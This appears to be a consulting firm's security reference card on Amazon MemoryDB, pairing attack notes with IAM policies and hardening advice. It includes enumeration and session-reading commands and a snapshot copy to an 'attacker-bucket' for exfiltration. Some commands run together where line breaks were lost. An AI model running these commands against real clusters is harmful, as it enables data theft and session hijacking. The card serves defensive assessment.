Amazon MemoryDB for Redis is a durable, Redis-compatible in-memory database. Unlike ElastiCache, data persists to disk. Security risks include auth bypass, snapshot theft, and session hijacking.
Redis-compatible with Multi-AZ durability. Data stored in memory but persisted to transaction log. Supports Redis data structures, Pub/Sub, and Lua scripting.
Attack note: Unlike ElastiCache, snapshots contain durable data. Auth tokens often stored in Secrets Manager or hardcoded.
Supports Redis 6+ ACLs for fine-grained access control. Users can be restricted to specific commands and key patterns. Default user often has full access.
Attack note: Default user misconfiguration allows full cluster access. ACL rules can be enumerated with ACL LIST.
MemoryDB often stores session data, cached credentials, and application state. Durability means historical data persists in snapshots. Compromised access enables session hijacking and data theft.
aws memorydb describe-clustersaws memorydb describe-clusters \
--cluster-name CLUSTER_NAMEaws memorydb describe-snapshotsaws memorydb describe-usersaws memorydb describe-aclsredis-cli -h ENDPOINT -p 6379 \
--tls --user USERNAME --pass PASSWORDSCAN 0 MATCH * COUNT 1000KEYS session:*GET session:user123ACL LISTCONFIG GET *aws memorydb copy-snapshot \
--source-snapshot-name SNAP_NAME \
--target-snapshot-name attacker-copy \
--target-bucket attacker-bucketaws memorydb create-snapshot \
--cluster-name CLUSTER \
--snapshot-name exfil-snap{
"Effect": "Allow",
"Action": "memorydb:*",
"Resource": "*"
}Full MemoryDB access - can copy snapshots cross-account, create users
{
"Effect": "Allow",
"Action": [
"memorydb:DescribeClusters",
"memorydb:DescribeSnapshots"
],
"Resource": "arn:aws:memorydb:*:*:cluster/prod-*"
}Only describe specific clusters matching pattern
{
"Effect": "Allow",
"Action": [
"memorydb:CreateSnapshot",
"memorydb:CopySnapshot"
],
"Resource": "*"
}Can create and copy snapshots - data exfiltration risk
{
"Effect": "Deny",
"Action": "memorydb:CopySnapshot",
"Resource": "*",
"Condition": {
"StringNotEquals": {"aws:PrincipalAccount": "123456789012"}
}
}Prevent cross-account snapshot copying
Require authentication for all connections. Disable default user or set strong password.
aws memorydb create-user --user-name app --access-string 'on ~app:* +@read'Require TLS encryption in transit to prevent credential sniffing.
Use Redis ACLs to limit commands and key patterns per user.
+@read +@write ~session:* -KEYS -CONFIGUse SCP to deny CopySnapshot to external accounts.
Enable KMS encryption for data at rest including snapshots.
Enable SLOWLOG and monitor for suspicious commands like KEYS *, CONFIG GET.
AWS MemoryDB Security Card • Toc Consulting
Always obtain proper authorization before testing